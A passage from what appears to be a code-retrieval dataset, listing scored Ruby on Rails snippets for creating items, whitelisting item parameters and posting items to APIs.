"6e3d227b92a4a2a782a596e1b3c57e2f", "score": "0.6066092", "text": "def set_specific_item\n @specific_item = SpecificItem.find(params[:id])\n end", "title": "" }, { "docid": "ff7ad9430269533006df8c29a4cda8cf", "score": "0.6057672", "text": "def create\n\n @item = Item.new(item_params)\n @item.colors = Color.where(id: params[:item][:itemcolors])\n @item.events = Event.where(id: params[:item][:itemevents])\n @item.brands = Brand.where(id: params[:item][:itembrands])\n @item.retailers = Retailer.where(id: params[:item][:itemretailers])\n @item.types = Type.where(id: params[:item][:itemtypes])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e38992c0e2605db87214d62a0617a74", "score": "0.60465914", "text": "def item_params\n params.require(:item).permit(:quantity, :quantity_type, :when_bought, :food_id)\n end", "title": "" }, { "docid": "d391d21e81e2ff0ad2aec69ba8b014c6", "score": "0.60430896", "text": "def item_params\n params.require(:item).permit(:name, :item_type_id)\n end", "title": "" }, { "docid": "3d7eddd9f8de1f27fa901d9968ed6abd", "score": "0.604176", "text": "def create_item(params = nil, headers = nil)\n post(\"/api/v1/items\", params, headers)\n end", "title": "" }, { "docid": "605e54f44c1fb2bc615f99aebef26867", "score": "0.6023564", "text": "def create_item(params = nil, headers = nil)\n post(\"/api/v2/items\", params, headers)\n end", "title": "" }, { "docid": "0434fba9cabe08ffa768688c4efefc91", "score": "0.60169595", "text": "def create\n item = Item.new(item_params)\n if item.save\n render json: {item: item}, status: 200, location: item\n else\n render json: item.errors, status: 422\n end \n end", "title": "" }, { "docid": "591990f76a72176ac416f83bb175a856", "score": "0.60001713", "text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item, status: :created, location: @item\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d0ccd1ddbd41d2b910f6e58f1bc35c10", "score": "0.59610856", "text": "def create_items(companyId, model) path = \"/api/v2/companies/#{companyId}/items\"\n post(path, model, {}, AvaTax::VERSION) end", "title": "" }, { "docid": "1b58bd33202a3723198aa0af2aeefa7e", "score": "0.59534633", "text": "def add_question_items(items) #params is hash of type => value\n new_q_items = create_question_items(items)\n add_q_items(new_q_items)\n end", "title": "" }, { "docid": "974fdd0401b95a8c8feef36f83f18053", "score": "0.5951718", "text": "def create\n @item = Item.new(item_params)\n unless params[:tags].blank?\n @item.tags = Tag.find params[:tags]\n end\n lastId = Item.maximum('id')\n @item.id = lastId === nil ? 1 : lastId + 1\n respond_to do |format|\n if @item.save\n format.json { render :show, status: :created, location: @item }\n else\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7835b8f44ae689b96d3a2a868649b8e1", "score": "0.5945682", "text": "def create\n @item = Item.new(item_params, @owner)\n\n respond_to do |format|\n if @item.save\n format.json { render json: { result: 'created!', uuid: @item.uuid } }\n else\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff5071c33e0bbf009d17ca6b6bcb4692", "score": "0.59381765", "text": "def item_params\n params.require(:item).permit(:name, :referencia, :preco_unitario, :info, :collection_id)\n end", "title": "" }, { "docid": "67587bf33eee6532b520ffd6e4edba06", "score": "0.59345496", "text": "def item_params\n params.require(:item).permit(:name, :description, :price, :required, :owner_id, :expiration_date, :club_id, :image, :category, :color, :size, :university_id, items: {})\n end", "title": "" }, { "docid": "c7ec4e535afe5a71677982de8699db7e", "score": "0.59296584", "text": "def create\n p_attr = params[:item]\n p_attr[:payload] = params[:item][:payload].first if params[:item][:payload].class == Array\n\n @item = @package.items.new(p_attr)\n\n if @item.save\n respond_to do |format|\n format.html {\n render :json => [@item.to_jq_upload(@package.id)].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@item.to_jq_upload(@package.id)].to_json\n }\n end\n else\n if @item.payload_integrity_error\n render :json => [{:error => @item.payload_integrity_error}], :status => 415\n else\n render :json => [{:error => @item.errors}], :status => 422\n end\n end\n end", "title": "" }, { "docid": "3db64625e1432d20087aa9c674bfbe25", "score": "0.5928946", "text": "def item_params\n params.require(:item).permit!\n end", "title": "" }, { "docid": "a0e741fa6460c5722ad704bb9ff291e6", "score": "0.5923416", "text": "def add_new_item(api, cookie, number, subject, newreq)\n item = nil\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n newitem = { number: number, clause: newreq['clauseno'], date: newreq['date'], standard: newreq['standard'],\n subject: subject }\n res = api[\"items\"].post newitem.to_json, option_hash unless $dryrun\n if res&.code == 201\n item = JSON.parse(res.body)\n reqres = add_request_to_item(api, cookie, item, newreq)\n end\n item\nend", "title": "" }, { "docid": "1b9ffd98597e08508e2a3b5db3c33f14", "score": "0.5919866", "text": "def item_params\n params.require(:item).permit(:uid, :unique_name, :name, :type, :subtype, :npc_price, :slots, :icon)\n end", "title": "" }, { "docid": "0e3834e5747044232d41231d7f207182", "score": "0.5918527", "text": "def create \n item = Item.new(item_params)\n if item.save\n render json: item \n else \n render json: { errors: item.errors}, status: :unprocessable_entity \n # if it fails to save, we will render an error message. \n end \n end", "title": "" }, { "docid": "55a3293c142f92f3954bbff73c380595", "score": "0.5918508", "text": "def item_create\n Item.create_an_item params\n redirect_to item_managements_item_query_path\n end", "title": "" }, { "docid": "e5d1dd1afdd0d172804f4df2df77a6c4", "score": "0.59183294", "text": "def possible_item_params\n params.require(:possible_item).permit(:animal_id)\n end", "title": "" }, { "docid": "babfe7e7c47d4cb9c39a972af1328fb6", "score": "0.59159666", "text": "def item_params\n params.require(:item).permit(:name, :list_id)\n end", "title": "" }, { "docid": "babfe7e7c47d4cb9c39a972af1328fb6", "score": "0.59159666", "text": "def item_params\n params.require(:item).permit(:name, :list_id)\n end", "title": "" }, { "docid": "a2b7f8c4fdab5cef3bf50aa3d99fff77", "score": "0.59080493", "text": "def item_params\n params.require(:item).permit(:paper_id, :name, :quantity, :orderer, :price, :unit, :comment, tax_ids:[])\n end", "title": "" }, { "docid": "fc447bd83626db4a447bfe5498492221", "score": "0.59014916", "text": "def item_params\n params.require(:item).permit(:collection_id, :user_id, :descriprion, :status_id, :code, :photo_ids, :link)\n end", "title": "" }, { "docid": "73079922e142a7d0fd7bc1a8bc79094e", "score": "0.58782864", "text": "def create\n\n @item = Item.new\n @item.name = params['name']\n @item.have_weight = (params['have_weight'] == 'true')\n @item.user = current_user\n @item.company = current_user.company\n if @item.save\n render json: @item, status: :created\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c0e76c69e0ab5787e9dfb90652f4c705", "score": "0.58679384", "text": "def create\n\n @item = Item.new(params[:item])\n @item.item_group = ItemType.find(params[:item][:item_type_id]).item_group\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c446ba49ec024dfe315a16b63a51f33", "score": "0.58653986", "text": "def item_params\n params.require(:item).permit(:name, :description, :restaurant_id, :price, :status, item_image: [], category_ids: [])\n end", "title": "" }, { "docid": "b1cf131e37a89509ff8ebf368c9d5ebb", "score": "0.5864781", "text": "def create\n @item = @event.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to event_items_path(@event), notice: I18n.t('item.created.successfully') }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba287f78846cdce75470e5e4d21927d6", "score": "0.5855731", "text": "def api_item_params\n params.fetch(:item).permit(:dish, :spice, :price)\n end", "title": "" }, { "docid": "9395fda7fdcf8c7fb4e208d716d557db", "score": "0.58547574", "text": "def create\n @item = Item.new(item_params)\n @item.user_id = params[:user_id]\n\n if @item.save\n render json: @item, status: :created\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c53288266ab0807c643497d6f31e0d2a", "score": "0.58524734", "text": "def item_params\n params.require(:items).permit(:name, :description, :image, :user_id, :repairing, :completed, :repairer, :reviewed)\n end", "title": "" }, { "docid": "3c0867a1c805aed1c8250486359e950d", "score": "0.58466226", "text": "def _create_item(http, headers, path, body, name)\n resp = http.send_request(\"POST\", path, JSON.generate(body), headers)\n if resp.is_a?(Net::HTTPCreated)\n Chef::Log.info(\"Created keystone item '#{name}'\")\n return true\n elsif resp.is_a?(Net::HTTPOK)\n Chef::Log.info(\"Updated keystone item '#{name}'\")\n return true\n else\n log_message = \"Unable to create item '#{name}'\"\n _raise_error(resp, log_message, \"_create_item\")\n end\nend", "title": "" }, { "docid": "01fcccfe224be26c06f55fc17c16cc7a", "score": "0.58459425", "text": "def create\n @item = Item.create!(params.permit(:name))\n render json: @item, status: :created\n end", "title": "" }, { "docid": "c183888b68dae658cb042be8d0415787", "score": "0.58442014", "text": "def item_params\n params.require(:item).permit(:body, :user, :completed)\n end", "title": "" }, { "docid": "60a80affe08be7cb58563a6ce9647f6a", "score": "0.5838375", "text": "def item_params\n params.require(:item).permit(:name, :description, :armor_photo, :cost, :user_id, :item_image, :category_ids => [])\n end", "title": "" }, { "docid": "9e3fe433d6a7e94f610af19316b848d6", "score": "0.58373755", "text": "def item_params\n params.require(:item).permit(:item_bringing, :allergies, :party_id, :user_id)\n end", "title": "" }, { "docid": "7d807132cf956c7f411a9604eaea626c", "score": "0.5825026", "text": "def set_items\n @item = Item.find(params[:id])\n end", "title": "" }, { "docid": "0e803d9ec53f364ca2e528ca7b1e0b96", "score": "0.58208984", "text": "def item_params\n params.require(:item).permit(:name, :price, :amount, :collection_id)\n end", "title": "" }, { "docid": "92ee5bce5cbff3d2652acd18f90fffb9", "score": "0.58178484", "text": "def create\n\n @item = Item.new(params[:item])\n for size_id in params[:size]\n size = Size.find(size_id)\n @item.sizes << size\n end if params[:item]\n for fake_id, color_name in params[:item_colors]\n item_color = ItemColor.new(:name => color_name)\n if params[:item_color_photos] and params[:item_color_photos].has_key? fake_id and params[:item_color_photos][fake_id][:uploaded_data] and (params[:item_color_photos][fake_id][:uploaded_data].length > 0)\n item_color_photo = ItemColorPhoto.new(params[:item_color_photos][fake_id])\n item_color_photo.save\n item_color.item_color_photos << item_color_photo\n end\n item_color.save\n @item.item_colors << item_color\n end if params[:item_colors]\n for fabric_name in params[:item_fabrics]\n item_fabric = ItemFabric.new(:name => fabric_name)\n @item.item_fabrics << item_fabric\n end if params[:item_fabrics]\n for browse_tag_id in params[:browse_tags]\n browse_tag = BrowseTag.find(browse_tag_id)\n @item.browse_tags << browse_tag\n end if params[:browse_tags]\n respond_to do |format|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n format.html { redirect_to([:admin, @item]) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2578f8827072719dcce5e900bdc36dd4", "score": "0.5817478", "text": "def update_have_item(attributes)\r\n name_or_id = params[:item][:ingredient_id].to_i\r\n if name_or_id == 0\r\n name_or_id = params[:item][:name]\r\n end\r\n ik = current_user.kitchen.update_ingredients_kitchens(name_or_id, attributes)\r\n\r\n if params[:render] == 'added'\r\n render :json => {:item_id => \"ik#{ik.id}\", :ingredient_name => ik.ingredient.name, :ingredient_id => ik.ingredient.id}\r\n elsif params[:render] == 'json'\r\n render :json => current_user.kitchen.get_have_list.to_json(:methods => :ingredient_name)\r\n else\r\n render :nothing => true\r\n end\r\n end", "title": "" }, { "docid": "cee532594b642a6202a85cdf0086dcb4", "score": "0.58110565", "text": "def item_params\n params.require(:item).permit(:name, :done)\n end", "title": "" }, { "docid": "81ca013a3c9d22f98ad4bfdfe1ff5bf0", "score": "0.5810305", "text": "def create\n Category.where(id: item_params[\"category_id\"]).each do |category|\n item_params[\"size\"].split(\",\").each do |size|\n puts \"Creating #{item_params[\"itemType\"]} with category #{category.name} with size #{size}\"\n @item = Item.new(quantity: 0,\n itemType: item_params[\"itemType\"],\n size: size,\n category_id: category.id)\n puts @item, @item.save!\n end\n end\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n end\n end", "title": "" }, { "docid": "fe976de0c4ae0d076ba86db304b1b503", "score": "0.58022887", "text": "def update_items\n if params['items']\n items = JSON.parse(params['items'])\n items.each { |x|\n item = MtCompletedItem.find(x['id'].to_i)\n item.update_column('status', x['status'])\n }\n ok_JSON_response\n else\n fail_JSON_response\n end\n end", "title": "" }, { "docid": "680e41ab244cc1e3e7e353c0fa515eb0", "score": "0.5801438", "text": "def item_params\n params.require(:item).permit(:name, :description, :category_id, :price, :shipping_id, :quantity, :user_id, :image, :api_id)\n end", "title": "" }, { "docid": "da3677c55c712c002d5bbb6f30e9462a", "score": "0.5801376", "text": "def create\n @api_item = Item.new(api_item_params)\n\n if @api_item.save\n render :show, status: :created\n render json: @api_item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "abc0a06b33791b6cf2bd82fb91b60742", "score": "0.5791683", "text": "def api_item_params\n params.require(:item).permit(:name, :description, :price, :category)\n end", "title": "" }, { "docid": "43deb3eb73f71d044a11f7d4526821ea", "score": "0.5783132", "text": "def item_params\n params.require(:item).permit!\n end", "title": "" }, { "docid": "4b05c3bece905e08fb42ca5579a3683a", "score": "0.5775027", "text": "def item_params\n params.require(:item).permit(:name)\n end", "title": "" }, { "docid": "4b05c3bece905e08fb42ca5579a3683a", "score": "0.5775027", "text": "def item_params\n params.require(:item).permit(:name)\n end", "title": "" }, { "docid": "4b05c3bece905e08fb42ca5579a3683a", "score": "0.5775027", "text": "def item_params\n params.require(:item).permit(:name)\n end", "title": "" }, { "docid": "4b05c3bece905e08fb42ca5579a3683a", "score": "0.5775027", "text": "def item_params\n params.require(:item).permit(:name)\n end", "title": "" }, { "docid": "477dcccd432dbda2651d19182a90b552", "score": "0.5774549", "text": "def item_params\n params.require(:item).permit(:name, :sku, :price, :department_id)\n end", "title": "" }, { "docid": "8d3057df6544d7a9734f20e647a9f0e5", "score": "0.57726336", "text": "def item_params\n params.require(:item).permit(:id, :name, :description, :tags)\n end", "title": "" }, { "docid": "b4713e6a813152c956b884bdb3760608", "score": "0.5771616", "text": "def create\n @item = @group.items.new(params[:item])\n \n if @item.save\n item_specs = params[:specs]\n\n @group.group_specs.each do |gspec|\n spec = @item.specs.build\n spec.group_spec_id = gspec.id\n spec.value = item_specs[gspec.id.to_s]\n spec.save\n end if item_specs\n \n @status = \"good\"\n @message = \"Item added!\"\n serve_json_response\n else\n render :json => @item.errors, :status => :unprocessable_entity\n end\n end", "title": "" }, { "docid": "96514c3b8b6ff3d706a8b807a9ddb7b6", "score": "0.5768765", "text": "def item\n if @item = Item.find_by(id: params[:item])\n render :json => @item.to_json(:include => :subitem)\n else\n error_message(\"Item not found\")\n end\n end", "title": "" }, { "docid": "afe86f242ed9a40dad8b959ed071d63c", "score": "0.57665104", "text": "def item_params\n params.require(:item).permit(:author_id, :name, :amount, group_ids: [])\n end", "title": "" }, { "docid": "fb0f5b7db6f6487937903b1d4f1a0866", "score": "0.5766443", "text": "def create\n @generic_item = GenericItem.new(params[:generic_item])\n\n respond_to do |format|\n if @generic_item.save\n format.html { redirect_to @generic_item, :notice => t('successfully_created') }\n format.json { render :json => @generic_item, :status => :created, :location => @generic_item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @generic_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "801793cd64ff6a50e569dc0e138ac499", "score": "0.5764053", "text": "def create\n @generic_item = GenericItem.new(generic_item_params)\n\n respond_to do |format|\n if @generic_item.save\n format.html { redirect_to @generic_item, notice: 'Generic item was successfully created.' }\n format.json { render :show, status: :created, location: @generic_item }\n else\n format.html { render :new }\n format.json { render json: @generic_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25258a2573bafa08244484210bed412d", "score": "0.57600445", "text": "def add_item(params)\n # need to store that in state here\n # because listing_format won't be passed to update_item params (it's create-only param)\n params[:state][:listing_format] = params[:data_fields][:listing_format]\n process_response(client.call(:AddItem, item_params(params))).merge(id: params[:id])\n end", "title": "" }, { "docid": "c48036b9dcb2a255709836b3d3577826", "score": "0.57516265", "text": "def item_params\n params.require(:item).permit(:code, :name, :description)\n end", "title": "" }, { "docid": "761fda7bff769c38790edcb754b59596", "score": "0.57495046", "text": "def item_params\n params.require(:item).permit(:item_id, :dish_name, :dollars, :cents, :description, :subcategory,\n :inventory, :restaurant_id)\n end", "title": "" }, { "docid": "5ec8e21b1ddb543449acddeff00b5cdf", "score": "0.5748663", "text": "def item_params\n params.require(:item).permit(:name, :delivery_id)\n end", "title": "" }, { "docid": "c8cb75f0655c18157db63f8a45d7e751", "score": "0.5746164", "text": "def item_params\n if params[:item].present?\n params.require(:item).permit(:id, :name, :description)\n else\n params.permit(:id, :name, :description)\n end\n end", "title": "" }, { "docid": "b4065afaf910ed3d71147c9b1b83bb43", "score": "0.57454956", "text": "def item_params\n params.require(:item).permit(:user_id, :name, :medium, :platform, :description)\n end", "title": "" }, { "docid": "e0a3c6d77a08e2f207699466b59df7e5", "score": "0.57387936", "text": "def create\n \t@item = Item.new(item_params)\n \t@item[:user_id] = current_user.id # add the user_id in the @item variable\n\n #save the data \n if @item.save\n render json: {:item => @item, :user => @item.user.name}\n end\n end", "title": "" }, { "docid": "593230fe462e75b61ef5507bdcf3d9cd", "score": "0.5735806", "text": "def index\n @specific_items = SpecificItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @specific_items }\n end\n end", "title": "" }, { "docid": "079e22a134750daae47032f078224612", "score": "0.57265526", "text": "def create\n @item = Item.new(item_params)\n item_params[:tag_list].present? ? @item.tag_list.add(item_params[:tag_list].split(\", \")) : nil\n if !@item.save\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "17e34425962a1c99a8d6acfa063fcd43", "score": "0.57248443", "text": "def create_item\n props = {\n bibIds: [create_bib],\n itemType: 50,\n location: 'os',\n barcodes: [@data[:item_barcode]],\n }\n props[:callNumbers] = [@data[:call_number]] unless (@data[:call_number] || '').empty?\n\n # Add an internal note identifying the partner item:\n unless @data[:item_nypl_source].nil? or @data[:item_id].nil?\n item_uri = \"#{ENV['PLATFORM_API_BASE_URL']}/items/#{@data[:item_nypl_source]}/#{@data[:item_id]}\"\n props[:internalNotes] = [\"Original item: #{item_uri}\"]\n end\n\n $logger.debug \"Sierra API POST: items #{props.to_json}\"\n response = self.class.sierra_client.post 'items', props\n\n raise SierraVirtualRecordError, 'Could not create temporary item' unless response.success? && response.body.is_a?(Hash) && response.body['link']\n\n @item_id = response.body['link'].split('/').last.to_i\n @item_id\n end", "title": "" }, { "docid": "8cfbc50a5b4299669405dcb5b121693a", "score": "0.57225835", "text": "def add_item item\n payload = parse_page item\n unless payload.nil?\n if item[\"type\"] == \"category\"\n url = \"#{FRESH_DIRECT_CATEGORY_URL}?#{URI.encode_www_form(item[\"args\"])}\"\n elsif item[\"type\"] == \"product\"\n url = \"#{FRESH_DIRECT_PRODUCT_URL}?#{URI.encode_www_form(item[\"args\"])}\"\n end\n RestClient.post url,\n payload,\n {\n cookies: @session_cookies,\n origin: FRESH_DIRECT_BASE_URL,\n referer: url\n } do |a, b, c|\n # Ignore redirects\n end\n end\n end", "title": "" }, { "docid": "965e7a55e97dc2535a61b71f2d47d0e5", "score": "0.5721057", "text": "def item_params\n params.require(:item).permit(:name, :url, :order_number, :pid)\n end", "title": "" }, { "docid": "dadef263a4b543cebd3295ce4fd27a8a", "score": "0.5716775", "text": "def create\n @item = Item.create(items_params)\n redirect_to root_url\n end", "title": "" }, { "docid": "a918c9f7baf3fcce17ae53810e3da159", "score": "0.5713151", "text": "def create\n @item = @model.new(params[actual_list_param_name])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to view_context.item_path(@item), notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f67a384fd88f1b4d34d606d0d51fe6e2", "score": "0.5710587", "text": "def item_params\n params.require(:item).permit(:item_image, :name, :description, :status, :condition)\n end", "title": "" }, { "docid": "dddcedcd391c86168e52c712888f5ced", "score": "0.5707527", "text": "def item_params\n params.require(:item).permit(:name, :user_id)\n end", "title": "" }, { "docid": "0886720a82e037d1feaa9397bf1e4d5f", "score": "0.5707226", "text": "def update\n item = Item.find(params[\"id\"])\n item.update_attributes(items_params)\n respond_with item, json: item\n end", "title": "" }, { "docid": "5644e9d63d20f07c704e420914e2811c", "score": "0.5706971", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_url, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { redirect_to new_item_path }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b777659da334fcca01542b9a155edd3d", "score": "0.56991416", "text": "def item_params\n params.require(:item).permit(:quantity, :itemType, :size, :category_id => [])\n end", "title": "" }, { "docid": "6a2170fca82ff4febb8851faae0fc75b", "score": "0.5697416", "text": "def create\n item = Item.new()\n\n item.collection = Collection.find(create_params[:collection])\n set_item_attributes(item, create_params)\n\n respond_with item, location: '', root: :item\n end", "title": "" }, { "docid": "6e9b2dd5e7ac59408732384bd951ecdb", "score": "0.56944054", "text": "def create\n # Get current user\n @user = current_user\n # Create the item using the parameters from the user's request\n @item = @user.items.build(params[:item])\n\n respond_to do |format|\n # Save the item to the DB\n # Case 1: Item saved\n if @item.save\n # Redirect the user to the items detail (show) page\n # Display success message\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n # Checks to see if any wish list contains the newly added item\n #check_wishlist(@item)\n else\n # Render the new item form with any errors\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2df325f834df9c0e640aeff507d423e7", "score": "0.5687773", "text": "def create\n @item = current_user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to current_user, notice: 'Item was successfully created.' }\n format.json {}\n else\n format.html { redirect_to current_user, notice: 'Item was not successfully created.' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca2b36b157d4f1100cb849d5735b1622", "score": "0.5686498", "text": "def create\n p = selection_params\n item_name = p.require(:item_id)\n list = List.find(p.require(:list_id))\n items = Item.where(name: p.require(:item_id))\n if items.length == 1\n item = items[0]\n elsif items.length == 0\n item = Item.create(name: item_name)\n else\n raise StandardError, \"Wrong number of matching items: #{items}\"\n end\n \n p[:item_id] = item.id\n @selection = Selection.new(p)\n\n respond_to do |format|\n if @selection.save\n format.html { redirect_to list }\n format.json { render :show, status: :created, location: @selection }\n else\n format.html { render :new }\n format.json { render json: @selection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "927430c6ceab0d588cc21722e40b74d8", "score": "0.5685337", "text": "def add_question_items(items) #params is hash of type => value\n\t\tnew_q_items = create_question_items(items)\n\t\tadd_q_items(new_q_items)\n\tend", "title": "" }, { "docid": "33f047446901deab546ec89a49bc18e5", "score": "0.56793875", "text": "def uniform_item_params\n params.require(:uniform_item).permit(:code, :name, :notes)\n end", "title": "" } ]
cb601b7cc7a066fc22b70d88245ff34a
Overridden method that both randomizes and returns the Coin itself (for method chaining)
[ { "docid": "77885783365f4a7eb21c0f1a04bc843b", "score": "0.5651946", "text": "def randomize\n self.flip\n end", "title": "" } ]
[ { "docid": "32a38ec74e6b9af181d69691125e3116", "score": "0.6979711", "text": "def random\n clone.random!\n end", "title": "" }, { "docid": "aad8d4399a92c4610e3146ce22f63fc7", "score": "0.6442531", "text": "def randomize ; rand(self) ; end", "title": "" }, { "docid": "f1cd13b0c327a5c53ea945ae6afc4529", "score": "0.61614484", "text": "def get_random()\n \n end", "title": "" }, { "docid": "f1cd13b0c327a5c53ea945ae6afc4529", "score": "0.61614484", "text": "def get_random()\n \n end", "title": "" }, { "docid": "616b15dde92b80fcd9becd1e53db5dea", "score": "0.60774016", "text": "def rand_gen\n return super if @bucket.nil? \n @random.rand( @card * @max_closure )\n end", "title": "" }, { "docid": "5ce0d54551ec6e8f2d3aa6d8a268de2d", "score": "0.60667515", "text": "def rand2\r\n self.class.rand2\r\n end", "title": "" }, { "docid": "5a740cffb909867fb0da2f8463439ce4", "score": "0.60568976", "text": "def random\n self.randomize.first\n end", "title": "" }, { "docid": "826538cc89bbbed72a386dcca3b14d1e", "score": "0.6045994", "text": "def rand\n rng.rand\n end", "title": "" }, { "docid": "80041bba5c3ff2d0ebe150511ecd90ed", "score": "0.60339254", "text": "def random\n rand\n end", "title": "" }, { "docid": "f551739dcc6e19c9d624ae9bc191d0c3", "score": "0.60324717", "text": "def random\n @random ||= Throw.signs.shuffle.first\n end", "title": "" }, { "docid": "2d3ac9725f5f357fa022461af0a84d56", "score": "0.6018201", "text": "def random\r\n return self.to_a.random\r\n end", "title": "" }, { "docid": "4256075d9aacee65c0b6b34b94cb0e37", "score": "0.5975734", "text": "def coinhead?(weight = 0); rand(2 + weight) == 0; end", "title": "" }, { "docid": "37375e99424d2a8bb287ab1492ee31d1", "score": "0.5972847", "text": "def *( coin ) @value * Coin.new( coin ).value end", "title": "" }, { "docid": "064d65982499ce4c53ed3bda6b935734", "score": "0.59630054", "text": "def randomize\n self.roll\n end", "title": "" }, { "docid": "62a9159aa04edb40e4e82b6faecb4d4c", "score": "0.59471637", "text": "def rand\r\n @generator_strategy.rand\r\n end", "title": "" }, { "docid": "eee3bf8ccefc878ee73bc048953c7caa", "score": "0.5935963", "text": "def biased_coin\n return 'H'\nend", "title": "" }, { "docid": "c0ac3b7e2989a58760eff4a846d4b2d5", "score": "0.59307694", "text": "def rand\n\t\t@rand\n\tend", "title": "" }, { "docid": "ec25afbb6012b8eca15b0d750c23d50e", "score": "0.59068114", "text": "def getCoin(coinAmount)\r\n @coins += coinAmount\r\n end", "title": "" }, { "docid": "4faafe677e6596bd7397a0dfc863372b", "score": "0.58569485", "text": "def get_random()\n\n end", "title": "" }, { "docid": "8b0e3ba5de393e08cd1bcc00af732b18", "score": "0.5852749", "text": "def rnd\r\n @random.rand\r\n end", "title": "" }, { "docid": "a380fb610adcd7ea943f2910cb6f9299", "score": "0.583836", "text": "def rand_gen\n @random.rand @card\n end", "title": "" }, { "docid": "98cf3b3f0497977f8b449c9362afa603", "score": "0.58335847", "text": "def random= rnd \n @random = rnd\n @codon.random = rnd\n end", "title": "" }, { "docid": "322f53969f8784678baa8d158c0b914d", "score": "0.5808343", "text": "def churn\n (1 + @parent.rand(@churn_limit)).times {@child.rand(256)}\n @child\n end", "title": "" }, { "docid": "60d3f4ebbc66b96c0fd1e0060b9ad017", "score": "0.5805775", "text": "def current_price\n ref_price = PriceHistory.where(:coin => self.cca_id).order('date DESC').limit(1).first.price\n if Random.rand < 0.5\n price = ref_price * (1 - Random.rand(5)/100.0)\n else\n price = ref_price * (1 - Random.rand(10)/100.0) \n end\n \n price\n end", "title": "" }, { "docid": "620f37a5ec9361a5771750fffe6db6d2", "score": "0.58012646", "text": "def current_price\n ref_price = PriceHistory.where(:coin => self.ticker).order('date DESC').limit(1).first.price\n if Random.rand < 0.5\n price = ref_price * (1 - Random.rand(5)/100.0)\n else\n price = ref_price * (1 - Random.rand(10)/100.0) \n end\n \n price\n end", "title": "" }, { "docid": "1a698da91a33e340f5129c74f7dddae8", "score": "0.5762358", "text": "def make_rand\n Random.new_seed\n return Random.new\n end", "title": "" }, { "docid": "3b4111b4a7c7b416441a94bc9a192d90", "score": "0.5760122", "text": "def coin_balance\n #todo calc\n coin\n end", "title": "" }, { "docid": "f954630a0a056324272372ee5a1c70ac", "score": "0.5756275", "text": "def make_rand()\n @orig.set_rand()\n @rate.set_rand()\n @exp.set_rand()\n end", "title": "" }, { "docid": "8f08ebfe20b5f62a3a19272191c1dff7", "score": "0.5741831", "text": "def random_quote\n return @quotes.sample\n end", "title": "" }, { "docid": "f975e41237edeeb2c1f8b083e5bd95e4", "score": "0.57403195", "text": "def rand\n @random_number_generator.rand\n end", "title": "" }, { "docid": "fce3f4298379ac815e88f845c0aa5ce7", "score": "0.573979", "text": "def get_random\n \t target = rand\n \t @weighted_hash.each do |item, frequency|\n \t if target <= frequency\n \t random_item = item.clone\n \t random_item.effects = item.effects.clone\n \t return random_item\n\t else\n\t target -= frequency\n end\n \t end\n \tend", "title": "" }, { "docid": "6271f50c6ab6163a46f9eea30c15ea09", "score": "0.57392865", "text": "def get_random()\r\n \r\n end", "title": "" }, { "docid": "6271f50c6ab6163a46f9eea30c15ea09", "score": "0.57392865", "text": "def get_random()\r\n \r\n end", "title": "" }, { "docid": "6271f50c6ab6163a46f9eea30c15ea09", "score": "0.57392865", "text": "def get_random()\r\n \r\n end", "title": "" }, { "docid": "a52b9cca42eee445482891241fe685b3", "score": "0.5737666", "text": "def random\r\n return self[rand(self.length)]\r\n end", "title": "" }, { "docid": "35ad8827c58644e3233bc86502f50aba", "score": "0.5712838", "text": "def random\n return self[rand(self.size)]\n end", "title": "" }, { "docid": "4ca8279a05ecf83d316db1f2004fe28c", "score": "0.56917876", "text": "def random_choice\n 